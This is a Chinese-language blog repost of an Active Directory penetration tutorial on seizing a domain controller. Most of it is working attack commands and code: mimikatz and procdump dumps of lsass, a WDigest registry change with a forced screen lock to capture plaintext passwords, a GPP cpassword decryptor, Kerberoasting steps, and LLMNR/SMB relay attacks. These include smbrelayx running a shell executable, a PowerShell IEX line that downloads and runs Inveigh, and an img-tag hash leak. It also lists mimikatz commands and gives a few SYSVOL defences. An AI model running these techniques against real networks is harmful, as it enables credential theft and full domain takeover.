zoukankan      html  css  js  c++  java
  • 域渗透——获取域控.md

    域渗透——获取域控

    转载自i春秋

    一、高权限读取本地密码

    当域管理员在域成员机器上登录进行工作的时候,会将明文密码保存在本地进行的lsass.exe,可以通过mimikatz来读取到本地的明文密码。

    privilege::debug  # 提权
    sekurlsa::logonpasswords
    

    如果主机存在杀软的时候,上传mimikatz很多时候都会被杀掉,可以通过procdump+mimikatz的方式进行绕过。先导出lsass.exe

    procdump64.exe -accepteula -ma lsass.exe lsass.dmp
    

    保存到本地,通过mimikatz读lsass.dmp的明文

    mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"  > 1.txt
    

    如果目标机器是windows server 2012,通过添加注册表,在通过锁屏,让管理员重新登录及可以读取明文。

    添加注册表,设置UseLogonCredential设置为1

    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    

    利用powershell脚本进行锁屏

    Function Lock-WorkStation 
    {
    $signature = @"
    [DllImport("user32.dll", SetLastError = true)]
    public static extern bool LockWorkStation();
    "@
    $LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
    $LockWorkStation::LockWorkStation() | Out-Null
    }
    Lock-WorkStation
    

    管理员重新登录后就可以抓取到明文密码了。

    二、SYSVOL组策略获取密码

    在域环境中,有个默认的共享路径

    \\<DOMAIN>\SYSVOL\<DOMAIN>\
    

    SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有用户都能访问这个共享文件。在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本登录才有这个文件。在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥

    img

    可以利用powershell解密密文:

    function Get-DecryptedCpassword {
        [CmdletBinding()]
        Param (
            [string] $Cpassword
        )
    
        try {
            #Append appropriate padding based on string length  
            $Mod = ($Cpassword.length % 4)
    
            switch ($Mod) {
            '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
            '2' {$Cpassword += ('=' * (4 - $Mod))}
            '3' {$Cpassword += ('=' * (4 - $Mod))}
            }
    
            $Base64Decoded = [Convert]::FromBase64String($Cpassword)
    
            #Create a new AES .NET Crypto Object
            $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
            [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
                                 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
    
            #Set IV to all nulls to prevent dynamic generation of IV value
            $AesIV = New-Object Byte[]($AesObject.IV.Length) 
            $AesObject.IV = $AesIV
            $AesObject.Key = $AesKey
            $DecryptorObject = $AesObject.CreateDecryptor() 
            [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)
    
            return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
        }
    
        catch {Write-Error $Error[0]}
    }
    Get-DecryptedCpassword "I0vK3Yj0SeoHQDxF5skcjt3BOkMZmX6IiqRVKCTo4Z4"
    

    img

    针对SYSOVL的防御:

    1.打补丁KB2962486
    2.删除SYSVOL目录下的groups.xml
    3.设置共享文件SYSVOL的权限
    

    三、Kerberoasting

    SPN为服务主体名称,是服务实列(MSSQL,HTTP等)的唯一标识,如果在林中安装服务的多个实列,每个实列都有自己的SPN,如果kerberos服务票证的加密类型为RC4_HMAC_MD5,就可以导出TGS对其进行离线破解,获取到域用户的密码了。

    使用setspn查询spn(windows7和server2008默认自带)

    查询域内所有的SPN和查询test域的SPN

    setspn.exe -q */*
    setspn.exe -T test.com -q */*
    

    img

    以CN开头的为代表一个账号,机器账号为Computers,域用户账号为Users

    查询域内注册的spn(kerberoast)

    cscript GetUserSPNs.vbs
    

    PowerView

    https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

    Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon
    

    给MSSQL服务注册SPN

    setspn.exe -A MSSQLSvc/WIN-M34UCFJIPNQ.test.com test.com\fanxing
    

    将kerberos的加密方式换成RC4_HMAC_MD5

    img

    请求指定的TGS,完成之后klist就能查看相应的票据

    $SPNName = 'MSSQLSvc/WIN-M34UCFJIPNQ.test.com'
    Add-Type -AssemblyNAme System.IdentityModel
    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPNName
    

    img

    mimikatz导出票据

    kerberos::list /export
    

    使用tgsrepcrack.py破解

    python tgsrepcrack.py wordlist.txt mssql.kirbi
    

    四、重放攻击

    在NTML认证的过程中,数据包传递的是NTML-Hash加密的16位的challenge随机数得到的Net-NTML

    Hash,如果存在中间人的情况,就可以通过hash进行重放攻击,下面简述下存在中间人,NTML协议过程:

    img

    1.当客户端对服务端发起请求,客户端并不知道中间人存在,所以把请求发送给了中间人。中间人拿着这个请求发送给服务端,服务端以为是客户端发来的请求。
    2.进过验证后,会生成一个随机数(challenge)返回给攻击者,服务端保存的ntmlhash进行DES加密challenge(chal
    lenge1),攻击者拿着这个challenge明文发送给客户端。
    3.客户端对这个challenge用自己的密码进行DES加密(response),发送给中间人,中间人在将这个请求发送给服务端。
    4.服务端拿到这个response跟之前加密的challenge1进行对比,一样的话就验证成功。
    

    在进行ntml中间人攻击的时候,要避免最小的网络流量,所以使用的比较多的也是LLMNR/NetNS欺骗。

    在两台windows进行进行资源请求的时候,对机器的解析顺序为:

    1.HOSTS文件(c:/windows/system32/driver/etc/hosts)
    2.本地的DNS缓存(ipconfig /displaydns)
    3.dns服务器
    4.LLMNR
    5.NetBios-NS
    
    0x01、探测签名是否开启

    对于smb中继的利用条件:

    1.不能开启smb签名,而在域内,域控上面是开启了签名的,域成员机器是没有开启的。
    2.打了ms08-068补丁的xp/2003系统也无法利用
    

    首先利用nmap探测是否开启了签名

    nmap -sT -p 445 --open --script smb-security-mode,smb-os-discovery 192.168.50.241
    

    img

    0x02、Responder+ntmlrelayx

    获取ntmlv2 hash,在攻击机执行

    python Responder.py -I eth0 -v      #假设ip为192.168.50.64
    

    在任意机器上执行

    dir \\192.168.50.64\c$
    

    img

    当使用ntmlrelayx进行重放攻击的时候,需要在Responder.conf设置SMB和HTTP服务为Off

    python Responder.py -I eth0 -v    # 启动Responder,假设ip为192.168.50.64
    python ntlmrelayx.py -t 192.168.50.241   # -t为受害者,进行中继攻击
    net use192.168.50.64\c$ "fx@123.com" /user:"administrator"   # 攻击机执行
    

    img

    0x03、smbrelayx

    使用smbrelayx和ntmlrelayx都是利用的impacket,环境配置

    pip install pycrypto    # 安装加密库
    apt-get --reinstall install python-pyasn1 python-pyasn1-modules
    cd impacket/
    python setup.py install
    

    在攻击机进行重放攻击

    # -h为指定受害者,-e在进行重放攻击后,在受害者机器执行exe
    python smbrelayx.py -h 192.168.50.241 -e /root/shell.exe 
    

    在内网其他目标机器执行

    net use192.168.50.64\c$ "fx@123.com" /user:"administrator"
    

    在msf上成功获取到meterpreter

    img

    0x04、Windows平台的重放攻击

    在windows下,可以利用powershell编写的Inveigh工具

    powershell "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1');Invoke-Inveigh -consoleoutput Y FileOutput Y"
    

    在其他主机上执行

    dir \\192.168.50.242\c$   #或者在开启HTTP,利用<img>来加载图片
    <img src="\\192.168.50.242\1.png">    #在通过HTTP协议访问就行了
    

    img

    拿到net-ntmlhash后,可以通过hashcat跑下字典,但是几率特别小。

    注意:在获取权限的那台机器,需要关闭windows防火墙,不是一直获取到challenge。


    mimikatz是一款功能强大的轻量级调试神器,通过它你可以提升进程权限注入进程读取进程内存,当然他最大的亮点也是让阿刚最感兴趣的就是他可以直接从 lsass中获取当前处于Active系统的登录密码, lsass是微软Windows系统的安全机制它主要用于本地安全和登陆策略,通常我们在登陆系统时输入密码之后,密码便会储存在 lsass内存中,经过其 wdigest 和 tspkg 两个模块调用后,对其使用可逆的算法进行加密并存储在内存之中, 而mimikatz正是通过对lsass的逆算获取到明文密码!也就是说只要你不重启电脑,就可以通过他获取到登陆密码,只限当前登陆系统!

    下面简单的介绍一下神器的命令

    • cls-----------------------------清屏
    • exit----------------------------退出
    • version------------查看mimikatz的版本
    • system::user-----查看当前登录的系统用户
    • system::computer-------查看计算机名称
    • process::list------------------列出进程
    • process::suspend 进程名称 -----暂停进程
    • process::stop 进程名称---------结束进程
    • process::modules --列出系统的核心模块及所在位置
    • service::list---------------列出系统的服务
    • service::remove-----------移除系统的服务
    • service::start stop 服务名称--启动或停止服务
    • privilege::list---------------列出权限列表
    • privilege::enable--------激活一个或多个权限
    • privilege::debug-----------------提升权限
    • nogpo::cmd------------打开系统的cmd.exe
    • nogpo::regedit -----------打开系统的注册表
    • nogpo::taskmgr-------------打开任务管理器
    • ts::sessions-----------------显示当前的会话
    • ts::processes------显示进程和对应的pid情况等
    • sekurlsa::wdigest-----获取本地用户信息及密码
    • sekurlsa::tspkg------获取tspkg用户信息及密码
    • sekurlsa::logonPasswords--获登陆用户信息及密码

    ps:copy~

    mimikatz是法国的一位神牛写的神器

    1.常规的操作使用命令

    mimikatz # cls -->清屏,类似dos命令cls.

    mimikatz # exit -->退出mimikatz.

    mimikatz #version -->查看当前的mimikatz的版本.

    随便输入"xxx::",会提示"modules:'xxx' intr0uvable",大概意思就是你输入的命令不存在,然后会列出所有可用的命令

    查看列表中命令的具体参数同样可以输入"命令::"来查看,比如:"inject::",如图:

    2.系统方面的操作使用命令:system

    mimikatz #system::user -->查看当前登录的系统用户

    mimikazt #system::computer -->返回当前的计算机名称

    3.在服务器终端的操作命令: ts

    mimikatz #ts::sessions -->显示当前的会话

    mimikatz #ts::processes windows-d.vm.nirvana.local -->显示服务器的进程和对应的pid情况等。

    4.系统服务相关的操作使用命令:service

    5.系统进程相关操作的使用命令:process

    6.系统线程相关操作使用命令:thread

    7.系统句柄相关操作使用命令:handle

    8.加密相关操作使用命令:crypto

    9.注入操作使用命令:inject

  • 相关阅读:
    contentprovider的学习实例总结
    Android模拟器avd的创建、使用和调试相关命令
    android中的界面编程
    android的项目文件介绍
    下学期课程安排
    tcexa
    JavaScript,Java,php的区分大小写问题
    Spark RDD-行动算子
    Spark RDD-转化算子
    SparkCore RDD概述
  • 原文地址:https://www.cnblogs.com/nsfoxer/p/14348076.html
Copyright © 2011-2022 走看看